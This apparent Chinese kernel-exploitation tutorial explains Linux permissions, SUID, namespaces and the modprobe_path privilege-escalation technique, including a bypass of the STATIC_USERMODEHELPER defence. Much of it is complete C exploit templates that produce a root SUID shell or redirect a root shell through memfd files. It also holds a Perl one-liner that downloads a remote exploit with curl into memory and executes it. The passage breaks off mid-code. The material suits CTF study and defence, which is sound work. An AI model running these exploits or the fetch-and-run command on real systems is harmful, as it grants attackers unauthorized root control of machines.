  • w: 写入权限(Write),可以修改文件内容或在目录中添加、删除文件。
  • x: 执行权限(Execute),可以执行文件(如脚本或程序)或进入目录。

使用 ls -l 命令查看文件权限,如下示例:

1
2
sky123@ubuntu:~$ ls -l example.txt 
-rwxr-xr-x 1 sky123 sky123 525 11月 26 12:59 example.txt

解释:

  • -: 普通文件(d 表示目录)。
  • rwx: 文件所有者权限,具备读、写、执行权限。
  • r-x: 所属组权限,具备读和执行权限。
  • r--: 其他用户权限,具备只读权限。
  • 该文件的所有者是 sky123 用户,该文件的所属组是 sky123

特殊权限

SUIDSGIDSticky Bit,是 Linux 系统中用于增强文件和目录权限管理的特殊权限。

  • SUID (Set User ID): s 替代用户的执行位,任何用户在执行该文件时,都会以文件所有者的权限运行,而不是执行者的权限。这就是 su 命令从低权限用户切换到高权限用户的原理(设置 SUID 权限,使用密码保护,且非特权用户无法修改)。
    • 示例:rwsr-xr-x
  • SGID (Set Group ID): s 替代的执行位,文件执行时将以文件的所属组权限运行。对于目录,新创建的文件会继承目录的组。
    • 示例:rwxr-sr-x
  • Sticky Bit: t 替代其他用户的执行位,通常用于公共目录,如 /tmp,限制删除操作。只有文件的所有者或目录的所有者可以删除文件,即使其他用户对目录有写权限。
    • 示例:rwxrwxrwt

SUID 权限的可执行文件执行后产生的进程的 euid 等于文件所属的用户,uid 等于运行可执行文件的用户的 uid

如果可执行文件的所属用户是 root 用户,那么创建的进程可以通过 setuid(0) 把权限提升至 root 权限。

这就是 sudosu 等权限管理工具的原理,只不过提权那一步需要密码验证。有一些提权漏洞就是针对这一类 SUID 文件的。

相关管理命令

查看文件权限

  • ls -l: 列出文件或目录的详细信息,包括权限。
  • stat: 显示文件的详细状态,包括权限和特殊位设置。
    • stat filename 查看 filename 的权限和其他详细信息。

管理文件权限

  • chmod: 修改文件或目录的权限。
    • chmod 755 filename 设置文件所有者为读、写、执行权限,组和其他用户为读、执行权限。
    • chmod u+x filename 为文件所有者添加执行权限。
    • chmod u+s /path/to/file 为文件添加 SUID 权限。
    • chmod g+s /path/to/directory 为目录设置 SGID 权限,使新文件继承目录组。
    • chmod +t /path/to/directory 为目录设置 Sticky Bit。
  • chown: 更改文件或目录的所有者。
    • sudo chown user filenamefilename 的所有者更改为 user
    • sudo chown user:group filenamefilename 的所有者更改为 user,组更改为 group
  • chgrp: 更改文件或目录的组。
    • sudo chgrp groupname filename 更改 filename 的组为 groupname

modprobe_path 提权

一种经典的提权技术是覆盖内核中的 modprobe_path 变量。该变量的值在编译时设置为 CONFIG_MODPROBE_PATH,并使用空字节填充至 KMOD_PATH_LEN 长度。通常情况下,CONFIG_MODPROBE_PATH 被设置为 /sbin/modprobe,因为这是 modprobe 二进制文件的常见路径。

1
2
➜  ~ cat /proc/sys/kernel/modprobe 
/sbin/modprobe

过程分析

当用户执行一个文件时,系统调用 execve 来执行程序:

1
2
3
4
5
6
7
SYSCALL_DEFINE3(execve,
const char __user *, filename,
const char __user *const __user *, argv,
const char __user *const __user *, envp)
{
return do_execve(getname(filename), argv, envp);
}

这会调用 do_execveat_common() > bprm_execve() > exec_binprm(),然后调用 search_binary_handler()。这个函数会查找 formats 链表中合适的加载器函数来处理指定的二进制文件。formats 只是一个包含 struct linux_binfmt 的链表。

pwndbg> delist formats
$1 = {
  next = 0xffffffff82a12d20 <script_format>,
  prev = 0xffffffff829fba70 <formats>
}
$2 = {
  next = 0xffffffff82a12d60 <elf_format>,
  prev = 0xffffffff82a12c80 <misc_format>
}
$3 = {
  next = 0xffffffff82a12da0 <compat_elf_format>,
  prev = 0xffffffff82a12d20 <script_format>
}
$4 = {
  next = 0xffffffff829fba70 <formats>,
  prev = 0xffffffff82a12d60 <elf_format>
}
$5 = {
  next = 0xffffffff82a12c80 <misc_format>,
  prev = 0xffffffff82a12da0 <compat_elf_format>
}

此列表中包含四种格式:elf_format 是常见的 ELF 二进制格式,compat_elf_formatelf_format 相同,script_format 是用于脚本文件(以 #! 开头),misc_format 是用于其他二进制文件。每种格式都有如下结构,其中最重要的成员是 load_binary

pwndbg> p script_format
$9 = {
  lh = {
    next = 0xffffffff82a12d60 <elf_format>,
    prev = 0xffffffff82a12c80 <misc_format>
  },
  module = 0x0 <fixed_percpu_data>,
  load_binary = 0xffffffff813d20a0 <load_script>,
  load_shlib = 0x0 <fixed_percpu_data>,
  core_dump = 0x0 <fixed_percpu_data>,
  min_coredump = 0
}

search_binary_handler() 中,formats 列表会通过循环遍历并调用每个 load_binary() 来处理二进制文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
retry:
read_lock(&binfmt_lock);
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
continue;
read_unlock(&binfmt_lock);

retval = fmt->load_binary(bprm);

read_lock(&binfmt_lock);
put_binfmt(fmt);
if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
read_unlock(&binfmt_lock);
return retval;
}
}
read_unlock(&binfmt_lock);

例如,elf_formatload_binaryload_elf_binary(),它会检查二进制的 ELF 头部是否以 \x7FELF 开头:

1
2
if (memcmp(elf_ex->e_ident, ELFMAG, SELFMAG) != 0)
goto out;

script_formatload_binaryload_script(),它会检查脚本文件的 shebang。如果 shebang 有效,bprm->interpreter 会被设置为指定的解释器,原始的二进制文件名会作为 argv 的一个参数传递,然后重新搜索合适的处理程序。

1
2
if ((bprm->buf[0] != '#') || (bprm->buf[1] != '!'))
return -ENOEXEC;

如果没有找到适当的二进制格式处理程序,程序会执行以下路径:

1
2
3
4
5
6
7
8
9
if (need_retry) {
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
printable(bprm->buf[2]) && printable(bprm->buf[3]))
return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
return retval;
need_retry = false;
goto retry;
}

这会检查二进制的前四个字节是否为可打印字符(非 ASCII 字符除外)。然后,它调用 request_module() 来加载与二进制文件头部相符的模块,模块名为 binfmt-<前四个字节>。它最终会调用 __request_module(),并且会调用 call_modprobe()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int call_modprobe(char *module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};

char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;

module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;

argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);

free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}

这个函数尝试加载指定的二进制文件作为模块。默认的辅助程序路径定义在 kernel/kmod.c 文件中,为 /sbin/modprobe,并且它会以 root 权限执行。注意这个路径并不是 const 类型的。

1
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

利用过程

为了利用这一点,我们可以将 modprobe_path 的值覆盖为提权脚本(例如赋予 /bin/sh root SUID 权限)的路径 /tmp/privesc_script.sh,然后通过尝试执行一个无效格式的文件(如 ffff ffff)来调用 modprobe。内核将以 root 权限运行 /tmp/privesc_script.sh -q -- binfmt-ffff,这样我们就可以以 root 权限运行任何代码。这使得我们不必自己运行内核函数,而是可以通过覆盖一个字符串轻松提权。

modprobe_path

privesc_script.sh 脚本中我们通常会写一些需要 root 权限执行的命令。在 ctf 中我们一般的做法是给 flag 赋予普通用户可读的权限。

1
2
3
#! /bin/sh

chmod 777 /flag

不过在实际环境中我们一般会针对一个恶意程序依次做如下操作:

  1. 将恶意程序的所属用户设置为 root。
  2. 为恶意程序添加 SUID 权限。

对应的脚本内容如下:

1
2
3
4
#!/bin/sh

chown 0:0 /tmp/evil
chmod 4555 /tmp/evil

如果 /tmp/evil 是如下代码,那么由于 /tmp/evil 已经具有 SUID 权限且所属用户为 root,因此我们执行 /tmp/evil 会返回一个 root 权限的 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
// 尝试提升为 root 用户权限
if (setuid(0) == -1) {
perror("[-] setuid failed.");
exit(EXIT_FAILURE);
}

if (setgid(0) == -1) {
perror("[-] setgid failed.");
exit(EXIT_FAILURE);
}

// 启动一个 shell,使用 root 权限
system("/bin/sh");

return 0;
}

因此通过 modprobe_path 提权的 exp 模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <limits.h>

size_t get_modprobe_path(char *modprobe_path, int len) {
memset(modprobe_path, 0, len);

int modprobe_fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
if (modprobe_fd == -1) {
perror("[-] failed to open /proc/sys/kernel/modprobe.");
return 0;
}

size_t read_len = read(modprobe_fd, modprobe_path, len);
if (read_len == -1) {
perror("[-] failed to read /proc/sys/kernel/modprobe.");
close(modprobe_fd);
return 0;
}

if (read_len == len) {
puts("[-] /proc/sys/kernel/modprobe may not read completely.");
return -1;
}

read_len = strlen(modprobe_path);

if (read_len > 1 && modprobe_path[read_len - 1] == '\n') {
modprobe_path[--read_len] = '\0';
}

close(modprobe_fd);

return read_len;
}

int main(int argc, char *argv[]) {
if (argc == 2 && !strcmp(argv[1], "shell")) {
setuid(0);
setgid(0);

char modprobe_path[PATH_MAX];
get_modprobe_path(modprobe_path, sizeof(modprobe_path));
remove(modprobe_path);
remove("/tmp/trigger");
system("echo \"/sbin/modprobe\" > /proc/sys/kernel/modprobe");

puts("[+] spawning a root shell...");
system("/bin/sh");

return 0;
}

// 通过内核漏洞修改 modprobe_path 中的路径为普通用户可写的路径。
system("sudo sh -c 'echo \"/tmp/my_modprobe\" > /proc/sys/kernel/modprobe'");

char *program_path = realpath("/proc/self/exe", NULL);
char modprobe_path[PATH_MAX];
get_modprobe_path(modprobe_path, sizeof(modprobe_path));
int modprobe_fd = open(modprobe_path, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (modprobe_fd == -1) {
printf("[-] failed to open modprobe path %s.\n", modprobe_path);
return EXIT_FAILURE;
}

printf("[*] creating modprobe script file %s.\n", modprobe_path);
dprintf(modprobe_fd, "#! /bin/sh\nchown 0:0 %s\nchmod 4555 %s\n", program_path, program_path);
close(modprobe_fd);

puts("[*] creating trigger file /tmp/trigger.");
int trigger_fd = open("/tmp/trigger", O_WRONLY | O_CREAT | O_TRUNC, 0755);
write(trigger_fd, "\xFF\xFF\xFF\xFF", 4);
close(trigger_fd);

puts("[*] executing trigger file...");
system("/tmp/trigger");

char *shell_command;
asprintf(&shell_command, "%s shell", program_path);
system(shell_command);
free(shell_command);
free(program_path);

return 0;
}

STATIC_USERMODEHELPER 防护与绕过

在某个时间点,CONFIG_STATIC_USERMODEHELPER_PATH 缓解措施被引入,使得覆盖 modprobe_path 变得无用。

该缓解措施的作用主要体现在 call_usermodehelper_setup 函数。在该函数中,sub_info->path 被设置如下:

1
2
3
4
5
#ifdef CONFIG_STATIC_USERMODEHELPER
sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
sub_info->path = path;
#endif

通过将每个被执行二进制文件的路径设置为类似于 busybox 的二进制文件来工作,而该二进制文件的行为取决于传递的 argv[0] 文件名。因此,即使我们覆盖了 modprobe_path,也只有 argv[0] 的值发生了变化,busybox 类似的二进制文件无法识别这个值,因此不会执行。

不过我们仍然可以覆盖 CONFIG_STATIC_USERMODEHELPER_PATH 本身来实现同样的效果。

无文件方式

前面的提权方式需要创建至少 1 个 trigger 文件。而对于 chroot 到某个目录的情况下,我们无法获取创建的文件的真实路径,也无法在根目录下创建文件,而 modprobe_path 执行的应当是真实完整的路径下的文件。因此传统的基于文件的 modprobe_path 提权方式失效。

然而在这种情况下,我们创建的匿名内存文件 /proc/<pid>/fd/<fd>。也就是说我们可以知道创建的文件的真实路径,其中路径中的 <pid> 是进程的真实 pidfdmemfd_create 返回的句柄。

memfd_create 系统调用允许进程创建一个匿名内存文件,该文件可以被映射到进程的地址空间。该文件存在于内存中,因此读写该文件时会直接操作内存,而不是磁盘。这在某些情况下非常有用,尤其是在需要临时存储数据,但不希望数据在磁盘上留下任何痕迹时。

1
2
3
4
#include <sys/mman.h>
#include <fcntl.h>

int memfd_create(const char *name, unsigned int flags);

参数

  • name:指定内存文件的名称。虽然这个文件不会在文件系统中创建,但是它有一个名字,主要用于调试和日志记录。传入 NULL 也可以。
  • flags:标志,控制文件的属性。例如,MFD_CLOEXEC 表示在执行 exec 系统调用时,关闭文件描述符;MFD_ALLOW_SEALING 允许文件进行“封印”,即锁定文件的状态,阻止修改。

返回值

  • 如果成功,返回一个文件描述符(fd),该文件描述符指向创建的内存文件。

  • 如果失败,返回 -1,并设置 errno 以指示错误。

由于匿名内存文件的效果和真实文件一样,我们不妨将 modprobe_path 修改指向自己创建的匿名内存文件中,并且在该文件中写入如下内容:

1
2
3
4
#!/bin/sh

echo /sbin/modprobe>/proc/sys/kernel/modprobe
/bin/sh 0</proc/<exploit_pid>/fd/0 1>/proc/<exploit_pid>/fd/1 2>&1

这个文件的内容主要是创建一个 /bin/sh 进程,并将输入输出重定向到 exp 的标准输入输出。

除此之外,触发 modprobetrigger 文件也可以是内存文件。因此漏洞利用模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <limits.h>
#include <stdint.h>

static void modprobe_trigger_memfd() {
char *argv_envp = NULL;

int fd = memfd_create("", MFD_CLOEXEC);
write(fd, "\xFF\xFF\xFF\xFF", 4);

fexecve(fd, &argv_envp, &argv_envp);

close(fd);
}

int main() {
pid_t pid = getpid();
char modprobe_path[PATH_MAX];
int modprobe_fd = memfd_create("", MFD_CLOEXEC);
snprintf(modprobe_path, sizeof(modprobe_path), "/proc/%u/fd/%u", pid, modprobe_fd);

// 覆盖 `modprobe_path` 内核变量为 `"/proc/<pid>/fd/<script_fd>"`
char *priv_cmd;
asprintf(&priv_cmd, "sudo sh -c 'echo \"%s\" > /proc/sys/kernel/modprobe'", modprobe_path);
system(priv_cmd);
free(priv_cmd);

lseek(modprobe_fd, 0, SEEK_SET);
dprintf(modprobe_fd, "#!/bin/sh\necho /sbin/modprobe>/proc/sys/kernel/modprobe\n/bin/sh 0</proc/%u/fd/0 1>/proc/%u/fd/1 2>&1\n", pid, pid);

modprobe_trigger_memfd();

return 0;
}

最后借助 perl,我们可以将远程的 exp 下载为内存文件并执行,从而真正实现无文件提权。

1
2
3
4
5
6
7
8
perl -e '
require qw/syscall.ph/;

my $fd = syscall(SYS_memfd_create(), $fn, 0);
open(my $fh, ">&=".$fd);
print $fh `curl https://example.com/exploit -s`;
exec {"/proc/$$/fd/$fd"} "memfd";
'

前面提到 getpid 系统调用获取到的 pid 不一定是进程真正的 pid。比如如果这个进程处在 PID 命名空间中,那么 getpid 获取到的进程号是命名空间中的进程号。而报暴露 /proc 目录下的匿名内存文件的路径上的 pid 是真实的 pid

真实的 pid 可以在进入命名空间之前通过 getpid 获取,然而如果这个进程本身就是在命名空间中启动的,那么就无法通过 getpid 获取真实的 pid

一种方法是直接暴力枚举 pid 测试。此时需要通过一个 status 文件来检测是否枚举到了正确的 pid 从而跳出循环。我们在 modprobe 脚本中添加一句 echo -n 1 1>/proc/<exploit_pid>/fd/<status_fd>,然后在 exp 中判断 read(status_fd, &status_cnt, 1) 的读入长度是否为 1 来确定是否枚举到了正确的 pid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <limits.h>
#include <stdint.h>

void print_progress_bar(int current, int total) {
int progress = (current * 100) / total;
static int bar_width = 50;

int pos = (progress * bar_width) / 100;

printf("\rProgress: [");
for (int i = 0; i < bar_width; i++) {
if (i < pos) {
printf("=");
} else {
printf(" ");
}
}

printf("] %d%% (%d/%d)", progress, current, total);

fflush(stdout);
}


static void modprobe_trigger_memfd() {
int fd;
char *argv_envp = NULL;

fd = memfd_create("", MFD_CLOEXEC);
write(fd, "\xff\xff\xff\xff", 4);

fexecve(fd, &argv_envp, &argv_envp);

close(fd);
}

int main() {
int shell_stdin_fd = dup(STDIN_FILENO);
int shell_stdout_fd = dup(STDOUT_FILENO);

int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);

pid_t max_pid = 4194304;
printf("[*] overwriting path with PIDs in range 0->%d...\n", max_pid);
char modprobe_path[PATH_MAX];
for (pid_t pid_guess = 0; pid_guess < max_pid; pid_guess++) {
print_progress_bar(pid_guess, max_pid);
snprintf(modprobe_path, sizeof(modprobe_path), "/proc/%u/fd/%u", pid_guess, modprobe_script_fd);

// 覆盖 `modprobe_path` 内核变量为 `"/proc/<pid>/fd/<script_fd>"`
char *priv_cmd;
asprintf(&priv_cmd, "sudo sh -c 'echo \"%s\" > /proc/sys/kernel/modprobe'", modprobe_path);
system(priv_cmd);
free(priv_cmd);

lseek(modprobe_script_fd, 0, SEEK_SET);
dprintf(modprobe_script_fd,
"#!/bin/sh\necho /sbin/modprobe>/proc/sys/kernel/modprobe\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n",
pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);

modprobe_trigger_memfd();
size_t status_cnt = read(status_fd, &status_cnt, 1);

if (status_cnt == 1) {
printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);
break;
}
}

return 0;
}

CONFIG_USERMODEHELPER

CONFIG_USERMODEHELPER 是 Linux 内核的一个配置选项,控制着内核是否允许通过用户空间辅助程序来处理特定的内核事件。

通常内核会通过执行用户空间的程序来处理一些特定的事务,例如执行 /sbin/modprobe 来处理用户执行无效文件的情况。然而这种行为非常危险,因为一些内核漏洞可能会篡改内核中记录的这些用户程序的路径指向自己的恶意程序从而实现提权的目的。针对这一情况就有了 CONFIG_USERMODEHELPER 这一保护措施。

通常 CONFIG_USERMODEHELPER 选项会做如下配置:

1
2
CONFIG_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/usermode-helper"

类似于 busybox,内核会通过第一个参数传递要执行的程序路径到 usermode-helper,而该 usermode-helper 的行为取决于传递的 argv[0] 文件名。因此,即使我们覆盖了 modprobe_path,也只有 argv[0] 的值发生了变化, usermode-helper 无法识别这个值,因此不会执行。

不过我们可以通过直接覆盖内核中的 /sbin/usermode-helper 字符串来实现这一保护的绕过。

命名空间

Linux 命名空间(Namespace)是 Linux 内核提供的一种机制,它可以将系统资源隔离为不同的命名空间,使得多个进程可以共享同一系统上的资源,同时又互相隔离。命名空间是 Linux 容器(如 Docker、LXC)和虚拟化技术的核心概念之一。

常见命名空间

  • PID 命名空间:每个命名空间中的进程有自己独立的进程 ID(PID)。不同命名空间中的进程可以有相同的 PID,不会发生冲突。
  • 网络命名空间(Net Namespace):不同的网络命名空间可以拥有自己的网络设备、路由表、iptables 配置等。每个网络命名空间中的进程看不到其他命名空间中的网络资源。
  • 挂载命名空间(Mount Namespace):挂载命名空间为每个命名空间提供独立的文件系统视图。每个命名空间中的进程对挂载点和文件系统的变化都是独立的。
  • UTS 命名空间:每个命名空间中的进程可以拥有自己独立的主机名(hostname)和域名(domainname),从而实现不同命名空间中进程的名称隔离。
  • IPC 命名空间:提供独立的进程间通信(IPC)机制,包括信号量、消息队列和共享内存。不同的命名空间中的进程无法相互访问这些 IPC 资源。
  • 用户命名空间(User Namespace):用户命名空间可以为每个命名空间中的进程提供不同的用户和组 ID(UID/GID)映射。这样,进程可以在命名空间中以 root 权限运行,但在宿主机上却没有实际的 root 权限。
  • 时间命名空间(Time Namespace):提供独立的系统时间视图。每个命名空间中的进程可以有自己的系统时间,与其他命名空间中的进程独立。
  • Cgroup 命名空间(Cgroup Namespace):Cgroup 命名空间用于隔离资源的限制,例如 CPU、内存和 I/O。它提供了进程之间对资源的独立管理视图。

提示

kernel pwn 中最常用的命名空间是网络命名空间(Net Namespace)用户命名空间(User Namespace)。这两个命名空间的主要作用是让我们可以完成一些 root 权限用户才能完成的操作。虽然这些操作被隔离在命名空间中,但是这些操作对内核空间的“影响”却是真实存在的。

我们可以通过如下命令检查是否启用了非特权用户命名空间。

1
2
$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1

命名空间切换

unshare 系统调用

unshare 是一个用于 Linux 系统中进程命名空间(Namespace)管理的系统调用,它允许进程在不创建新进程的情况下分离或隔离其资源。通过 unshare,进程可以断开与当前进程空间的关联,创建新的命名空间,从而在该命名空间内独立运行。

unshare 系统调用的函数原型如下:

1
2
3
#include <sched.h>

int unshare(int flags);

参数

  • flags:这是一个位掩码(bitmask),用来指定进程要分离哪些资源。unshare 将把当前进程从指定的命名空间中分离出来并将其移入一个新的命名空间。不同的标志位对应不同类型的命名空间。
    • CLONE_NEWUSER: 创建一个新的用户命名空间,允许设置 UID/GID 映射。
    • CLONE_NEWNET: 创建一个新的网络命名空间,允许网络配置和网络设备的隔离。

返回值

  • 成功: 返回 0。

  • 失败: 返回 -1,并且设置 errno 来指示错误原因。

通常我们会借助 unshare 系统调用创建并进入网络和用户命名空间,从而能够完成一些 root 权限用户才能完成的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void do_unshare()
{
int retv;

printf("[*] creating user namespace (CLONE_NEWUSER)...\n");

// 单独执行 unshare 以便调试更容易
retv = unshare(CLONE_NEWUSER);
if (retv == -1) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

printf("[*] creating network namespace (CLONE_NEWNET)...\n");

retv = unshare(CLONE_NEWNET);
if (retv == -1)
{
perror("unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
}

然而这样进入命名空间之后权限是 65534nobody 用户)。这是因为进程进入命名空间之后没有在 /proc/self/uid_map/proc/self/gid_map 文件配置权限的映射关系,导致系统不知道原本的权限在新的命名空间中对应什么权限,因此设置为默认的 nobody 权限。

1
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

/proc/self/uid_map/proc/self/setgroups/proc/self/gid_map 是 Linux 系统中与用户命名空间(User Namespace)相关的虚拟文件,用于控制和配置进程的用户(UID)和组(GID)映射。

文件路径 功能 格式及作用
/proc/self/setgroups 控制是否允许修改组成员信息 deny(禁止修改组信息)或 allow(允许修改组信息)
/proc/self/uid_map 配置 UID 映射 <new-uid> <old-uid> <range>:将宿主系统 UID 映射到命名空间 UID
/proc/self/gid_map 配置 GID 映射 <new-gid> <old-gid> <range>:将宿主系统 GID 映射到命名空间 GID

因此我们只需要把原本的 piduid 映射到 0 即可在命名空间中拥有“root 权限”。

注意

需要先将 /proc/self/setgroups 设置为 deny(禁止修改组信息)否则后续对 /proc/self/gid_map 的修改会失败。

这是因为当进行 UID/GID 映射时,如果没有禁用附加组修改(即不将 setgroups 设置为 "deny"),内核可能会试图修改附加组列表。这会与 UID/GID 映射操作冲突,导致 GID 映射失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static void configure_uid_map(uid_t old_uid, gid_t old_gid) {
printf("[*] setting up UID namespace...\n");

// 设置 "deny" 禁止修改组信息
printf("[*] denying namespace rights to set user groups...\n");
int setgroups_fd = open("/proc/self/setgroups", O_WRONLY);
dprintf(setgroups_fd, "deny");
close(setgroups_fd);

// 写入 UID 映射,将旧的 UID 映射到 UID 0
printf("[*] mapping uid %d to namespace uid 0...\n", old_uid);
int uid_fd = open("/proc/self/uid_map", O_WRONLY);
dprintf(uid_fd, "0 %d 1\n", old_uid);
close(uid_fd);

// 写入 GID 映射
printf("[*] mapping gid %d to namespace gid 0...\n", old_gid);
int gid_fd = open("/proc/self/gid_map", O_WRONLY);
dprintf(gid_fd, "0 %d 1\n", gid);
close(gid_fd);
}

为了方便起见,这两部分代码可以整合在一起。这样直接在一开始调用这个函数即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void setup_unshare() {
__uid_t uid = getuid();
__gid_t gid = getgid();

puts("[*] creating user namespace (CLONE_NEWUSER)...");
if (unshare(CLONE_NEWUSER) == -1) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

puts("[*] creating network namespace (CLONE_NEWNET)...");
if (unshare(CLONE_NEWNET) == -1) {
perror("unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}

printf("[*] setting up UID namespace...\n");

// 设置 "deny" 禁止修改组信息
printf("[*] denying namespace rights to set user groups...\n");
int setgroups_fd = open("/proc/self/setgroups", O_WRONLY);
dprintf(setgroups_fd, "deny");
close(setgroups_fd);

// 写入 UID 映射,将旧的 UID 映射到 UID 0
printf("[*] mapping uid %d to namespace uid 0...\n", uid);
int uid_fd = open("/proc/self/uid_map", O_WRONLY);
dprintf(uid_fd, "0 %d 1\n", uid);
close(uid_fd);

// 写入 GID 映射
printf("[*] mapping gid %d to namespace gid 0...\n", gid);
int gid_fd = open("/proc/self/gid_map", O_WRONLY);
dprintf(gid_fd, "0 %d 1\n", gid);
close(gid_fd);
}

unshare 命令

unshare 是一个用于在 Linux 系统中创建新的命名空间的命令。unshare 命令会创建一个新的命名空间,并将创建的进程移入该命名空间。这样,进程在新的命名空间内执行时,所使用的资源将与其他进程隔离。

在 kernel pwn 中常用如下命令让 exp 进入网络和用户命名空间,并且在命名空间中权限为 root。

1
unshare -Urn ./exp

**-U**:创建一个新的 用户命名空间。在新的用户命名空间中,进程的 UID 和 GID 是独立的,它们与主机系统的 UID 和 GID 映射是隔离的。

**-r--map-root-user**,在新的用户命名空间中将当前用户映射为 root 用户(UID 0)。

**-n**:创建一个新的 网络命名空间。进程将在新的网络栈中运行,这样它将有自己的网络接口、路由表和网络设备,和主机系统或者其他进程的网络配置隔离开来。

提示

unshare 在创建和让进程进入新的命名空间之外顺便还完成了权限的映射,因此这里不需要再手动进行权限映射。

命名空间与提权

处于命名空间中的程序在提权后可能会出现 uid 显示为 0 但是实际权限不是 root 权限的现象。

实际上这与 cred 结构体中除了 uidgid 等描述权限的字段之外还有 struct user_namespace *user_ns 这样跟命名空间相关的字段,因此:

  • 如果我们仅修改了 cred 中的 uidgid 等字段可能只是在命名空间中完成了“提权”,实际表现并不是 root 权限。
  • 另外像 SUID 文件提权本质上还是修改了 uidgid,同样只是在命名空间中完成“提权”。

因此要想真正提权,关键还是看有没有整体换掉 cred 而不是仅仅修改了其中的 uidgid

明确了这一点我们可以确定下面几种提权方式在命名空间中可以真正的提权到 root 权限:

  • 覆盖 task_struct->cred 指向 init_cred

  • commit_creds 提权:本质上也是把 task_struct 换成了 init_cred

  • modprobe_path 无文件方式:因为是建立管道与 root 权限进程启的 shell 通信,用的是 shell 的 cred,因此是 root 权限。

而对于那些在命名空间中不能真正提权的方法,可以通过 fork 系统调用创建子进程,然后子进程进命名空间完成一部分需要特权的操作。剩余部分以及最后的提权需要在父进程中完成(或者改父进程的 cred)。父子进程直接可以通过共享内存或者 socket 进行通信。

例如下面的基于 modprobe_path 的提权模板,可以以通过 fork 子进程进入命名空间,然后父进程负责获取 root shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <arpa/inet.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>

size_t get_modprobe_path(char *modprobe_path, int len) {
memset(modprobe_path, 0, len);

int modprobe_fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
